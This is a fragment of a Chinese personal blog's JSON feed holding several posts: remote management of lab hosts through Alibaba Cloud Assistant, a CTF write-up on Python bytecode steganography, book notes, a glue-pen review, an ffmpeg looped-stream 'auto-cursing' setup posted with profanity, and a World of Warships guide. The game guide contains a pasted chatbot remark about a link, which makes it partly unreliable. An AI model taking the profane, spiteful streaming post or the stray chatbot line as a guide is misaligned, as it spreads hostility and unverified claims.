","date":"2024-08-08T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-29-16-41-31.png","permalink":"/post/jobss%E6%BC%8F%E6%B4%9E-cve-2017-12149-cve-2015-7501-cve-2017-7504/","title":"Jobss漏洞 CVE-2017-12149 CVE-2015-7501 CVE-2017-7504"},{"content":"登陆阿里云账号，访问 https://ecs.console.aliyun.com/cloud-assistant/region/cn-hangzhou/managed 点击 运维与监控 -\u0026gt; 云助手-\u0026gt; 托管实例\n点击创建注册码，填写信息，ip限制不填就是不显示，有效期4小时，超过4小时后不能再用这个注册码注册，点击生成注册码，根据要监控的靶机系统选择安装脚本，拷贝到靶机上，执行。\n在靶机系统上，新建一个安装文件。\nvim installAssistant.sh\n按 I 键进入编辑模式，复制上面生成的内容，按 ecs 退出编辑模式，然后键盘按 :q 退出vim。\nsudo chmod 755 installAssistant.sh\n在云助手界面点击刷新，就能看到监管的靶机系统。\n可以做执行命令，远程连接和上传文件的操作。agent对ecs托管登陆做了设置。\n有权限限制\n靶机agent安装文件夹多了deb文件\nWindows和挂代理出网访问的方式详见参考。\n参考链接\nhttps://help.aliyun.com/zh/ecs/user-guide/manage-servers-that-are-not-provided-by-alibaba-cloud?spm=5176.cloud-assistant-console_cloud-assistant.help.dexternal.316b4df5QeLlnP#section-por-q2b-931 ","date":"2024-08-08T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-30-20-03-35.png","permalink":"/post/%E9%98%BF%E9%87%8C%E4%BA%91%E6%89%98%E7%AE%A1%E7%AC%AC%E4%B8%89%E6%96%B9%E5%AE%9E%E4%BE%8B%E5%B9%B6%E8%BF%9C%E7%A8%8B%E7%99%BB%E9%99%86%E6%89%A7%E8%A1%8C%E7%9A%84%E6%96%B9%E6%B3%95/","title":"阿里云托管第三方实例并远程登陆执行代码的方法"},{"content":" https://blog.csdn.net/luochen2436/article/details/123376678\n一个Python编译文件，运行后什么也没有，先到反编译网站反编译看看。得到如下代码。\n1#!/usr/bin/env python 2# visit https://tool.lu/pyc/ for more information 3# Version: Python 3.6 4 5\u0026#39;\u0026#39;\u0026#39;Base58 encoding 6 7Implementations of Base58 and Base58Check endcodings that are compatible 8with the bitcoin network. 9\u0026#39;\u0026#39;\u0026#39; 10from hashlib import sha256 11__version__ = \u0026#39;1.0.3\u0026#39; 12alphabet = b\u0026#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\u0026#39; 13if bytes == str: 14 15 iseq = lambda s: map(ord, s) 16 17 bseq = lambda s: \u0026#39;\u0026#39;.join(map(chr, s)) 18 19 buffer = lambda s: s 20else: 21 22 iseq = lambda s: s 23 bseq = bytes 24 25 buffer = lambda s: s.buffer 26 27def scrub_input(v): 28 if isinstance(v, str) and not isinstance(v, bytes): 29 v = v.encode(\u0026#39;ascii\u0026#39;) 30 if not isinstance(v, bytes): 31 raise TypeError(\u0026#34;a bytes-like object is required (also str), not \u0026#39;%s\u0026#39;\u0026#34; % type(v).__name__) 32 33 34def b58encode_int(i, default_one = (True,)): 35 \u0026#39;\u0026#39;\u0026#39;Encode an integer using Base58\u0026#39;\u0026#39;\u0026#39; 36 if not i and default_one: 37 return alphabet[0:1] 38 string = None 39 while i: 40 (i, idx) = divmod(i, 58) 41 string = alphabet[idx:idx + 1] + string 42 return string 43 44 45def b58encode(v): 46 \u0026#39;\u0026#39;\u0026#39;Encode a string using Base58\u0026#39;\u0026#39;\u0026#39; 47 v = scrub_input(v) 48 nPad = len(v) 49 v = v.lstrip(b\u0026#39;%00\u0026#39;) 50 nPad -= len(v) 51 (p, acc) = (1, 0) 52 for c in iseq(reversed(v)): 53 acc += p * c 54 p = p \u0026lt;\u0026lt; 8 55 56 result = b58encode_int(acc, False, **(\u0026#39;default_one\u0026#39;,)) 57 return alphabet[0:1] * nPad + result 58 59 60def b58decode_int(v): 61 \u0026#39;\u0026#39;\u0026#39;Decode a Base58 encoded string as an integer\u0026#39;\u0026#39;\u0026#39; 62 v = v.rstrip() 63 v = scrub_input(v) 64 decimal = 0 65 for char in v: 66 decimal = decimal * 58 + alphabet.index(char) 67 68 return decimal 69 70 71def b58decode(v): 72 \u0026#39;\u0026#39;\u0026#39;Decode a Base58 encoded string\u0026#39;\u0026#39;\u0026#39; 73 v = v.rstrip() 74 v = scrub_input(v) 75 origlen = len(v) 76 v = v.lstrip(alphabet[0:1]) 77 newlen = len(v) 78 acc = b58decode_int(v) 79 result = [] 80 while acc \u0026gt; 0: 81 (acc, mod) = divmod(acc, 256) 82 result.append(mod) 83 return b\u0026#39;%00\u0026#39; * (origlen - newlen) + bseq(reversed(result)) 84 85 86def b58encode_check(v): 87 \u0026#39;\u0026#39;\u0026#39;Encode a string using Base58 with a 4 character checksum\u0026#39;\u0026#39;\u0026#39; 88 digest = sha256(sha256(v).digest()).digest() 89 return b58encode(v + digest[:4]) 90 91 92def b58decode_check(v): 93 \u0026#39;\u0026#39;\u0026#39;Decode and verify the checksum of a Base58 encoded string\u0026#39;\u0026#39;\u0026#39; 94 result = b58decode(v) 95 result = result[:-4] 96 check = result[-4:] 97 digest = sha256(sha256(result).digest()).digest() 98 if check != digest[:4]: 99 raise ValueError(\u0026#39;Invalid checksum\u0026#39;) 100 101if __name__ == \u0026#39;__main__\u0026#39;: 102 if b58encode(input()) == b\u0026#39;3sLBBYq91BUxPzp7tRuYNKvUNQ2hedyw6ydjzNbf9rJbYq9Ue6xzr9aL6rEDwUQZRGnZPGGgwM2PspAeVcCCjyrNQqDV5PhvaZpwj5ZMaXaFuGjiXK1gf72U325dx6n1RFKiBF3C9dYRTj86aqxZ5HN53KLaW7oBoXwJjbsNFdci8A2kQM\u0026#39;: 103 print(\u0026#39;flag is coming...\u0026#39;) 104 else: 105 print(\u0026#39;There is no problem that your input is wrong.\u0026#39;) 解码最后一句话得到：1 base58(radix58) So you still decompiled me. I\u0026rsquo;m just a Miscellaneous. Forget it. Look at your hard work. Give you a hint. Flag is in the PyC file. 暗示flag.pyc 本身就是flag，不要解码看python代码，是pyc隐写。\n用 stegosaurus 解码隐写文件。\n1wget https://mirror.ghproxy.com/https://github.com/AngelKitty/stegosaurus/releases/download/1.0/stegosaurus flag{217a5bcecea1be5eeca5028b06427b84}\n","date":"2024-08-08T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-08-08-11-00-42.png","permalink":"/post/0102-%E5%A5%87%E6%80%AA%E7%9A%84%E6%9D%82%E9%A1%B9/","title":"奇怪的杂项"},{"content":"\n这是一本教你如何快速获取知识，并且把知识转化为价值变现的书，非常适合商务人士阅读，快速获取知识并且赚钱。作者是日本的清水久三子，资深战略团队领导人。\n我们通常认为，日本和韩国只是学习到了汉唐文化的一点皮毛，就西化改革。但是不得不承认的是，日本人在如何快速学习，并且将知识转化为财富变现，有一套手段。从学习手段的角度看，这本书提供了很多确实有效可行的适合商务人士的学习思维和方法；从文化传承角度看，知识不只是“学到”“得到”就能传承和活跃的，只有将古老文化知识赋予其变现的能力，融入到现代文化生活中，“用起来”才是真正的传承。\n本书的主要讲了3个学习工具，4个学习步骤，4条有效建议。以下是一些摘抄和我的评价。\n学生时代或者资格考试的学习模式适合考试，但不适合将知识与信息转化为自身的一部分，并将其联系到工作成果和薪酬上。\n在最短时间内高效掌握知识与技能。将掌握到的知识与技能提升到赚钱的水平。\n要学习，学就要学最尖端的，学到极致。\n主动自主的学习这个意识很重要。为什么学习？为了实现怎样的自己学习？要有问题意识和目的意识。\n对于商务人士而言，学习不是目的，而是赚钱。\n要认识到用知识赚钱并不可耻，也不要因为一些所谓“风骨”而拒绝让知识传播，把知识使用起来。\n成人学习中，对于学习的时间管理、精力管理都必须由本人独立完成。\n不会再有老师耳提面命催着你学了，但是催你学习的动力来源于赚钱的原始欲望。\n学习的评价是工作成果，能否在恰当时机输出，是否与价值挂钩。\n自费是社会人士学习的铁律。学习要有性价比意识，即机要注重在学习上投入的资金和时间成本，也要注重学成后带来的收益回报。\n不应默默联系，而要公开学习，学习不需要体面。\n不要因为虚假的自尊心，害怕出错，耻于问而不敢公开，不敢讨论。\n公开能获得信息、期待、机会。\n也是一种给自己立人设的宣传方法。公开你正在学习的事情，有机会获得更多有价值的信息和实践机会，周围人的期待和督促也是勉励自我学习的一个方法。不要害怕打击和批判。\n把我整体结构在学习，制作学习地图。\n可以使用ChatGPT生成100个关键词，并生成推荐书目和规划。\n要有意识的输入输出，主动获得反馈。要限时输出以模拟商业实战中的场景。\n学习的四个阶段：概念，具体，体系，本质。\n总结为：术，法，道。\n在前期学习阶段要大量阅读书籍和信息，要构建知识地图。道体系和本质的阶段要注重总结自己的经验，展现自己独特的做法和价值。边学边做，只有30%也可以输出，保持输入输出并存，维持学习的速度感。\n大额金融投资除外，投资有风险，投资需谨慎。\n本质的理解就是不仅自己已经掌握，还能教授他人，能用一句话，一张图总结，并且讲述的时候还能总一句话发散出来。\n注意学习的速度，深度和广度。\n前两个阶段可以快速“追补”，知道个大概就行，到了第三阶段就要自己深挖广度和深度，总结自己的杀手锏。\n资格证书意味着这类内容相关的知识和程序已经发展成体系，慢人一步考取许多人已经持有的资格证书，已不具有太高的价值。\n制作学习地图可以是书单，人脉，培训班等信息，先用“暂且这样”的态度制作，要时常更新。掌握，但不网罗，不要陷入“学习全部类别”的想法中。要注重输出，要在短时间内达到能够创造价值的水准，学习本身不是目的。\n每个类别放入20~30本书，短时间内完成地图的制作，开始学习和输出。\n可以公开地图以获取有用的建议和信息。\n类目中的书籍，不需要全部都阅读，有些只是看看，速读，按需要删改地图。\n信息地图制作完成后，设定学习期限，制定学习计划。要注意在学习计划中添加输出环节。然后开展行动，鉴别有效有用的信息。\n用博客，日志记录学习笔记。将学习内容总结。这是最简单的输出手段。可以每月、每半年写一篇“我最推荐的学习XXX的3篇文章”这样的总结性鉴赏文章。\n提问应该明确知道自己想要什么，有目的目标后提问，而不是泛泛而谈。偷师学艺，体验他人做过的项目。\n一口气买20~30本书，但不是要全部都读书。要注意有浅显的入门书，也要有深入的硬核书。\n阅读不分场所，什么时候都能读，要创造什么时候都能读的环境和心态。不要有非得坐到书桌上才能读的想法。\n贴便签，但不要记关键词。\n掌握无论发生什么情况都能应对自如的应用能力和原创性，并将技能提升至能传授他人的水平，这样就能以专家的身份挣钱了。\n制作图表本身不是目的，最多也就3~5张。优秀的图标用3分钟时间说明一个体系，而优秀的本质则能用一句话说明，并且能持续讲述2个小时。\n随意使用“改革”“革新”“进步”等这样的空话会让推导出的本质成为过于肤浅的理解。\n能够留存在记忆中，以此为基础推导，创造新事物成为工作指南才是检验标准。\n他人也能使用，才是有用本质的证明。\n速战速决的方式解决，人无法维持长期的学习热情。一口气集中输入。工作日和休息日的学习分配要弹性，且工作日的学习任务要非常容易达到。才不会因为没有学习而产生失败，愧疚的感觉，要保持积极的学习心态和节奏。\n休息日短时间，集中输入。\n绝对不能设置错误门槛。\n不能再工作日设置无法完成的任务。每天学一点，哪怕30秒也是学习，也是坚持。\n不要因为不懂就逃避就回避。想要学习，先处在那个环境中。\n一开始听不懂没关系。坚持在场，习惯那个环境。\n无纸化资料，随时随地开展学习。自制电子书。善用优质视频网站。参加高质量的学习会和研讨会。直接向专家请教。用金钱购买时间和质量。不应该完全依赖人脉，而应该用人脉拓展市场。保持健康生活，不要牺牲睡眠时间，戒掉不良习惯，比如戒酒戒烟。保持输出和实践。\n能够与学习相伴一生的人不存在界限，他们总是走在通往更高、更远的路上。\n","date":"2023-10-03T11:00:06Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2022/202310031634550.png","permalink":"/post/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E5%AD%A6%E4%B9%A0%E5%8F%98%E7%8E%B0/","title":"【读书笔记】学习变现"},{"content":"我发现现在文具太会赚钱了，我有一天看到一个视频推荐胶水笔，一搜价格16元一只笔，没错，一只。 （日本吴竹笔）\n因为我现在是财务工作，特别费胶水，我感觉16元一只我的话也能很快用完，而且很贵啊！（财务人不能容忍）\n但是，把胶水像笔一样涂开的做法我觉得非常方便，尤其是粘贴财务单据的边边角角的时候，真的非常让人舒心。所以，我就像自己弄一个。废话不多说，直接上配方。 首先要准备：\n一大瓶浆糊 10.8元2瓶，每瓶400g 粉底液分装瓶 自封袋 勺子 步骤：\n首先用勺子把浆糊舀到自封袋里，用多少装多少。 然后把自封袋底部剪开一个角，把浆糊像挤奶油一样挤进去分装瓶里。 拧上分装瓶，挤出浆糊，你就得到一只浆糊笔了。 不同分装瓶的对比 我帮你们找到了一些分装瓶的规格，从不同角度对比。首先是刷头： 鸭嘴头、滚珠头、小舌片头、大舌片头、口红头、毛刷头、植绒头。 体验下来我觉得是毛刷头和舌片头的最适合涂胶水。 其次是三个品牌的含量对比。 净含量最多的是真空底部按动的这款，他家也是刷头样式最多的，也是最容易挤进去浆糊的。\n与一般胶水笔粘力对比 为了测评我也是斥巨资买了16元一只的吴竹胶水笔和9.9元6只点点胶水笔。吴竹胶水笔和点点胶水笔都宣传自己20秒速干，有颜色时粘力最强，透明时可以当做不粘胶用。\n使用感受 首先是吴竹胶水笔，这个出胶方式是向下戳笔头，要么半天不出来，要么出来就是一坨。即便是盖好笔帽，时间长了笔头会干，然后出胶就不是很顺畅了。\n其次是点点胶水笔，笔壳品控有点差，6只笔有一只就按下去弹不起来。胶水出胶顺畅，整体使用感受好，就是消耗的太快了，别看9.9元6只，我一个星期就能用完一只，这个胶水的笔芯太少了。\n最后是自制浆糊笔，最大的特点就是便宜。出胶顺滑程度主要看用的什么分装瓶，我个人是推荐按动真空的那款。盖好笔帽就浆糊就不会干了堵住笔头。粘贴后如果不压着就会皱，干的时间相对来说稍微慢一点。\n可以看最后这张表的总结。 视频最后，回答一个问题，就是为什么不用固体胶？\n我目前的工作主要是财务方面的，做过相关工作的应该有体会，要贴很多发票。固体胶有个最大的问题就是粘不牢。不管说他自己如何宣传强粘力的固体胶，都是粘不牢的。也许当时看上去是粘牢了，过一段时间他又自己掉下来了。我是被固体胶坑过的，就是有张票据没有粘牢，拿起来的时候自己掉了，然后那一整个单据都不能通过，最后是在一个充满灰尘的角落终于找到了那张发票。\n就是从那以后我就不用固体胶，用浆糊，浆糊的粘力比固体胶好，虽然干的慢一点，但是相比液体胶水已经好很多了。\n花絮 怂恿分装瓶老板卖胶水。 PS 也许固体胶粘不牢还有一个原因，是因为没有用力涂，但是用力涂就很难掌握边角的位置。还有就是如果要每张纸都用力涂，很累的好吧。\n","date":"2023-04-12T23:11:02Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2022/IMG_20230311_150543.jpg","permalink":"/post/%E8%87%AA%E5%88%B6%E7%AC%94%E5%9E%8B%E8%83%B6%E6%B0%B4/","title":"自制笔型胶水"},{"content":"起因 直播间最近总是莫名其妙被封，而且原因奇葩，还不说清楚具体问题，搁这让我猜猜猜，踩你妈比。\n原理 推流使用 ffmpeg 部署在服务器上，推流码为B站提供的RTRSM码。整理好要直播的内容，直接命令行推流即可。\n语音合成 使用在线文字转语音工具，输入文字，点击合成，下载语音，修改合成视频。 视频制作推荐使用B站的必剪，使用格式工厂剪辑的视频在推流时会提示参数错误，可能B站的视频协议比较那啥吧。\n下载ffmpeg https://github.com/BtbN/FFmpeg-Builds/releases 服务器是Windows的就下载Win后缀的，Linux的下载第一个，如图。解压后bin文件夹下就是ffmpeg这个应用。\n命令参数设置 ffmpeg.exe -re -stream_loop -1 -i \u0026#34;视频地址.mp4\u0026#34; -vcodec copy -acodec copy -f flv \u0026#34;rtmp://live-push.bilivideo.com/live-bvc/串流地址\u0026#34; -stream_loop -1 为循环播放。\n上传服务器 完事，开始享受自动叫骂的快感 反正你要搞我，我播什么都封，不如叫骂。我有问题我可以承认错误我可以改，问题是你不说清楚问题在哪里什么问题那就是你的问题了。既然你不想解决，那我也不想解决，一起摆烂吧。 参考 https://blog.csdn.net/heng4719/article/details/79105994\nhttps://blog.csdn.net/cai6811376/article/details/74783269\n","date":"2022-10-30T17:01:02Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2022/20221030170036.png","permalink":"/post/%E5%9C%A8%E7%BA%BF%E8%87%AA%E5%8A%A8%E5%8F%AB%E9%AA%82%E6%9C%BA/","title":"在线自动叫骂机"},{"content":"基础常识解释 下载和安装游戏 登录wargaming（简称WG）官网下载客户端，在客户端中下载游戏本体即可。新用户在官网注册新账号即可，注意WG客户端仅支持数字、字母和下划线组成的ID，不支持中文。若有邀请码，填入邀请码可以领取奖励。\nhttps://worldofwarships.asia/zh-sg/\n目前，《战舰世界》的俄服已独立运营。由Wargaming（WG）运营的亚服、欧服、美服等，由于不具备独立的舰船开发能力，内容更新主要以换皮活动、剧情模式及修复Bug为主，游戏环境相对稳定（或者说，长期存在的游戏平衡问题难以改变）。\n而具备开发能力的Lesta工作室现已独立，工作地点位于白俄罗斯，其官方游戏门户网站是：https://korabli.su/（请注意，您提供的flot.ru链接目前无法访问，可能是临时故障或网络问题）。\n注册指南与技巧：\n邀请码：注册时使用邀请码可领取奖励，我的邀请码是：JingJing_Super。 邮箱：推荐使用Gmail等国际邮箱进行注册。 验证码：注册过程中的图片验证码可能默认是俄语字母。如果识别困难，可以点击刷新按钮，直到出现由数字或英文字母组成的验证码，这样可以避免因无俄语键盘而无法正确输入的问题。 地区选择：注册时如果选择白俄罗斯地区，未来充值可能会有优惠。 服务器特点对比：\nWG各服：版本稳定，更新节奏较慢，适合喜欢固定环境的玩家。 Lesta服（原俄服）：更新非常活跃，堪称“军舰下饺子”，新船层出不穷。缺点是平衡性调整频繁，许多老船的数据也会改动，新船设计有时显得随意。优点是能抢先体验最新内容，并且官方赠送游戏内资源（如银币、金币等）更为大方。 氪金与游玩：\n即使像我一样选择零氪金，在Lesta服也完全可以正常游玩，并享受游戏的主要乐趣。\n随着WG不断更新游戏，截止2022年1月，游戏本体约50G大小，下载游戏需要近90G的硬盘空间，建议不要将该游戏安装在C盘。\nWorld of Warships系统需求\n**最低 ** 推荐 系统 Windows 7 x64 Windows 7 x64 / 8.1 / 10 / 11 处理器（CPU） Intel® Core™ i3-3210 3.2 GHz AMD Athlon™ II X2 245 2.9 GHz Intel® Core™ i5-2500 3.3 GHz AMD FX™ II 6350 3.9 GHz 内存（RAM） 4 GB 6 GB 显卡（GPU） NVIDIA® GeForce® GT 440/GT 630 Intel® HD 4000 AMD Radeon™ R7 240 NVIDIA® GeForce® GTX 660 AMD Radeon™ R9 270X 屏幕分辨率 1280x720 1920x1080 声卡 兼容DirectX 11 兼容DirectX 11 网速 1 Mbps 1 Mbps或更高 想要安装World of Warships游戏，请启动所下载的文件。\n安装文件大小：6.2 MB。\n在安装过程中，已额外下载44.7 GB。\n安装游戏需要的硬盘空间：87.3GB。\n安装游戏所使用的硬盘空间：58.1GB。 亚服欧服美服俄服和国服、steam登录 WG客户端登录 亚服欧服美服俄服可以在WG客户端点击 左上角头像→添加账号 界面登录账号和创建账号，右上角就有服务器的切换，其中CIS就是俄服。各个服务器之间账户独立，数据不互通。\nsteam登录 steam平台可直接下载战舰世界的游戏本体，打开后使用Steam账号自动注册，在游戏开始前会有选择服务器的界面，只有一次机会，一旦选择就不能更改。后期可在设置中绑定WG账号，使用WG账号登录。也可解绑steam账号只用WG登录。steam注册的服务器与WG客户端注册的一致，steam玩家可以与用WG登录的玩家在同样的服务器游玩。\n国服 国服是由360运营的战舰世界服务器，官网对游戏做了一定国内化修改，且版本落后其他服务器两个版本。但是自2021年12月15日开始，国服与其他各服务器版本同步更新。国服需要下载专用的客户端，不能使用WG客户端登录，不与WG服务器互通数据。国服可以使用中文ID和中文军团名。对于国服玩家如果自身电脑配置不支持流畅运行游戏，国服还支持免下载的云游戏，只要保证网络良好，也能游玩。\nhttps://wows.360.cn/\n服务器环境与氛围 亚服：通用语言是英语，主流语言是中文。亚服除了有庞大的国人玩家外，还有新加坡，东南亚小国，印度，韩国，日本等国家的玩家，在公屏聊天界面会出现不同的文字，但是多数玩家会发送英文和英文的缩写以交流战术计划。游戏自带的B键指令菜单也能满足基本的战术交流需求。\n常见的用于战术缩写的英文有：\n缩写 示意 u you （你） rpf 无线电定位 smoke 10s 烟雾发生器还有10秒装填完毕 radar 10s 雷达还有10秒冷却完毕 cap A/B/C 占领A点/B点/C点 live 活着（点数能赢别送了各位爷） 游戏界面 成功登录游戏后的港口界面如下图，选择船之后即可开始战斗。新人需要打满一定的场数和经验才能解锁港口全部设施。其中研发局的解锁需要5条银币Ⅹ级船\n进入战斗后的战斗界面如下图，右下角小地图会显示射程和视野范围内的敌人，左下角是船只状态，主要是血量和炮塔的装填和回转；在状态栏上方为聊天栏，按Enter键可进入聊天打字，按ESC键退出聊天。如果遇到无法使用中文输入的问题，请安装搜狗输入法，并按shift和ctrl键切换当前输入法为搜狗输入法。下放底部为操作栏，可以显示武器装备的装填时间，按对应功能键即可切换。如下图所示数字1键切换HE炮弹攻击，瞄准敌人后鼠标左键射击。两侧显示队伍阵容的栏目在“设置”中打开即可。\n联合作战 随机战 剧情 排位 训练房 军团战 其他活动战斗方式 （切换战斗模式的图）\n联合作战是新手最初接触的战斗模式，其中组成队伍的船只大部分是机器人，名字ID会由 ：randomname： 字样的表示，前后都有冒号“：”。机器人走位固定，机动呆滞，是新人练习基本技巧的最佳陪练。联合作战模式等待时间有限制，超时会自动分配机器人。\n随机战是玩家游玩战舰世界最普遍也是最多的战斗模式，组成队伍的船只由真人玩家操作（不排除有玩家挂机等不良行为），走位灵活，战术多变，战法多样。随机战模式等待时间无限制。\n[ ] （匹配机制不确定要不要写） 剧情\n第一章基础教学 炮术教学 射程圈与隐蔽圈 对海被侦测范围代表被敌方船只发现的最小距离，在此距离内如果有敌方船只，且没有山体或烟雾遮挡，在其视野范围内，就会被发现（俗称点亮），无论是否开炮。\n对空被侦测范围代表被敌方航母飞机发现的最小距离，在此距离内如果有敌方航母飞机（包括伊势，奇尔沙治，利根等航战航巡的飞机），且没有烟雾遮挡，在其视野范围内，就会被发现（俗称点亮），无论是否开炮。\n防空炮最大射程代表舰载防空炮炮弹飞行的最远距离，在防空炮射程圈外的敌方飞机无法被炮弹击中。\n主炮组射程代表战舰炮弹飞行的最远距离，在主炮组射程圈外的敌人无法被炮弹击中。\n鱼雷射程代表鱼雷航行的最远距离，在鱼雷射程圈外的敌人无法被鱼雷命中。\n可以通过 按住 ctrl键点击地图上方的齿轮修改地图更多显示选项。\n瞄准与提前量 对于远距离的敌人，可以按下Shift 或滑动鼠标滑轮开镜瞄准。开镜后会显示带有**5 10 15 **字样的标尺（如下图），对于不同速度和角度的敌人，需要在瞄准的基础上向敌人行进方向放缩一定“提前量”。\n一般对于在行进中的速度较快的驱逐舰，瞄准的刻度要放到15左右的位置；对于速度中等的巡洋舰，瞄准刻度放在10左右的位置；速度较慢的战列舰和航母可以放5的位置，如果距离较近，可以直接瞄准船头。\n除了根据船只型号外，瞄准提前量的判断还要从航速出发，停船的船当然就是瞄准其自身即可，不需要放提前量。船只型号能提供的信息是该船所能行驶最快的速度，实际游戏中，要根据敌人的行驶方向和速度，略微调整提前量。上图所示的技巧一般用于船只的FULL档位，如果敌人并非全速，那么刻度位置就要向敌人船体方向靠近；个别有引擎加力的船只，FULL档的速度十分快，刻度位置要向远离敌人船体的方向偏离，才能提高命中效率。\n对于船只行驶速度的判断，可以从烟的角度来判断。以船体为0轴，船头为圆形，全速行驶的烟轨迹约为0~10度，平滑且长直，每1/4档依次递减，Stop档为接近垂直的90度，完全静止状态下无烟。频繁加减速的船烟是乱的，不平滑，加减速瞬间会有烟的突变。（进阶靠看船头海浪）\n本节的课后作业和训练内容见炮术练习题\n驾驶教学 惯性和加减速 W键挂前进档，S键挂后退档，共有FULL（倒挡）、STOP、1/4、1/2、3/4、FULL 共6个档位。挂挡后舰船的行驶速度是缓慢的递进的变化，是有惯性有过程的。从STOP加速到FULL是需要一段时间的一段路程的，同样从FULL减速至STOP也需要一段时间一段路程，具体时长与船自身属性相关。游戏界面 \u0026ldquo;\u0026lt;\u0026rdquo; 符号所指示的是当前瞬时速度，达到预定档位后瞬时速度保持不变，船只匀速行驶。\n转弯与倒船转弯 D键右转，A键左转，E键1次是1/2舵右转，E键2次是右满舵，Q键1次是1/2舵左转，Q键2次是左满舵。A/D和Q/E的区别在于Q/E是档位控制，类似前进后退的挂挡操作，不需要一直按住键盘，是匀速连续的变舵；A/D只有在按下键盘瞬间起效，是不连续不匀速的。Q/E适合在后方安全位置掉头，转场等情况使用，A/D适合微操性强的过狭窄水道，躲避鱼雷和炮弹时使用，详细操作手法可看进阶教学躲炮、躲雷、躲飞机。\n转弯是有半径的，由于船体细长的造型，转弯时有“甩尾”现象，新手玩家经常“顾头不顾尾”，对船整体转弯的性质还不熟悉，经常卡在狭窄水道的礁石上搁浅。\n倒船时的转弯与自身视角的方向要特别注意。一方面，倒船和前进方向的转弯相对于行驶方向是相反的；另一方面，倒船的情况一般出现在视角向后看的情况，与向船头看的方向相反。新手经常在变换视角和倒船的时候出现方向感的混乱，错将左转当右转。视角关系可以见下图所示。\n雷击教学 白线 鱼雷攻击武器和主炮一样有射程限制，几乎所有dd都装有鱼雷（只有朗纳尔等特化驱逐没有鱼雷），部分CA和极少部分bb（德战系列和星座）也装有鱼雷。\n鱼雷武器默认使用数字“3”键切换，左键发射，当切换为鱼雷武器时，会对锁定的目标显示白色指示线（俗称白线）。白线预测的是当前锁定目标保持此方向此速度下，在你所驾驶的船鱼雷武器的航速为参考下的预计中雷方向。仅能作为参考，并不是说洒在白线上的雷一定能雷中人。\n鱼雷种类 不同船的鱼雷发射器发射鱼雷的方式不同。按发射方向分，有单侧双侧。按一次CD能发射的组数分双联装，三联装。按发射的鱼雷主要分有三种种类，普通鱼雷（只可以攻击任何船只，包括潜水艇的鱼雷），深水雷（本文特指只能攻击战列舰，航母的鱼雷），浅水雷（本文特指除了驱逐舰以外都可以攻击的鱼雷）。这三种雷的标志有微小的区别。\n维修小组和特化维修 按R键使用维修小组。普通船只装备的维修小组可以无限次使用，但是CD时间较长，持续时间短。特化维修小组装备在一些特色舰船上如部分战列舰。其CD时间短，而持续时间长，但数量有限，不能无限次使用。\n维修小组的主要作用是可以瞬间修复起火、进水、舵机损坏的负面影响，但不能回血。因为维修小组的CD时间较长，一般在战斗中除驱逐舰以外，其他大部分船只不建议一起火就使用维修小组灭火。因为在灭火之后的CD时间之内，若敌方再次攻击你起火或你被鱼雷击中进水，你就无法使用维修小组灭火。推荐在灭点之后，或同时有多个火点的时候使用维修小组。\n雷达、水听和烟 不同船只根据其所装载的设备的雷达，水听，烟雾发生器的情况，键位是不同的。并不是所有船只都安装有以上三种装备，可能只装有其中一种或两种。驾驶不同的船只时要注意键位的不同，常犯的错误是将水听当作烟雾发生器按错了，或烟雾发生器当作雷达的键位按错了。\n雷达 雷达是一种可以发现范围内所有敌方船只的设备。无论敌方船只是在烟雾中或是在隐蔽距离外，只要在己方雷达范围内都可以被发现（俗称点亮）。一般雷达的距离为8~12公里，持续时间为30秒至一分钟。若点亮时，敌方船只在公海上则瞬间被发现；若点亮时敌方船只在烟雾里，则延迟6秒左右的时间才会被发现。此时右下角小地图上会显示红色边框的敌方船只轮廓，但不是实心的，瞄镜中也没有敌方船只的身影。6秒后小地图上的敌方船只轮廓才会变成实心，瞄准镜中也出现了敌方船只的身影。\n水听 水听和雷达的功能相似，但距离更短，一般只有3~6公里。水听除了可以发现范围内的敌方船只外（无延迟），还可以发现敌方的鱼雷。\n烟 烟雾发生器可以在海面上发射出白色的烟雾笼罩自身和队友，让敌人无法发现，一般用于灭点和战略性推进和掩护。烟雾发生器有冷却时间（CD）和作用时间，发出的烟雾有持续时间。作用时间是指当按下烟雾发生器时到烟雾发生器停止工作的时间，这一段时间可以在海面上一直发出烟雾。烟雾的持续时间是指发出的烟雾停留在海面上直至消散的时间，在这段时间内在烟雾里是无法被敌方发现的。烟雾发生器发出烟雾是以自身为圆心，有一定半径的烟雾。如果在烟雾发生时船只在行进，则会拉出一条条带形的烟雾阵地（俗称拉烟）。\n值得注意的是，不少船只有烟雾中开火的惩罚距离，特别是战列舰 （补充战列舰的开火惩罚距离）。这意味着在3~6公里的近距离交战，烟雾对战列舰没有掩护作用。烟雾发生器一般装载于驱逐舰，部分巡洋舰和部分战列舰（意大利战列舰）。\n烟雾按照持续时间分为短烟（多为英国驱逐舰装载）和长烟（普通驱逐舰）。按照烟雾的发生速度分为阵地烟和火车烟。阵地烟的发生速度慢，一般不能掩护自身行进中的船只（但是战略性推进时可以掩护在后方行进的队友）。即拉烟的船只本身在全速行驶，而烟雾无法笼罩他没有提供掩护作用。阵地烟对自身想要达到掩护作用，一般要先减速再拉烟，进而在烟里射击（俗称蹲烟）。火车烟发烟速度快且有较长的作用时间和较短的持续时间，在感官上看就如同现实中火车拉出的烟一样，是一团在前进中的烟雾。高速火车烟普遍装载于意大利系列的船只上，比较典型的如保罗，威尼斯，勒班陀。意大利船可以在高速行驶中拉烟掩护自身，但是很难掩护队友，除非队友和他同速行驶。\n火箭机，鱼雷机，舰载机，反潜设备 训练计划 炮术练习题 图1所示战舰可以攻击到的敌人有几个？（考察对射程的认识，震央圈是干扰项）\n瞄准佐治亚要放多少提前量，请分情况作答。（考察对敌方速度的认识和判断，建议查阅浩舰数据）\n图2所示战舰行驶方向和速度。（考察对烟指示速度知识点的掌握，图为倒船火力）\n和伙伴两两组队开训练房，开同样的船只横向对排行驶，不允许左右摆动躲避，只允许按前进后退，分别按1/4, 1/2, 3/4, FULL 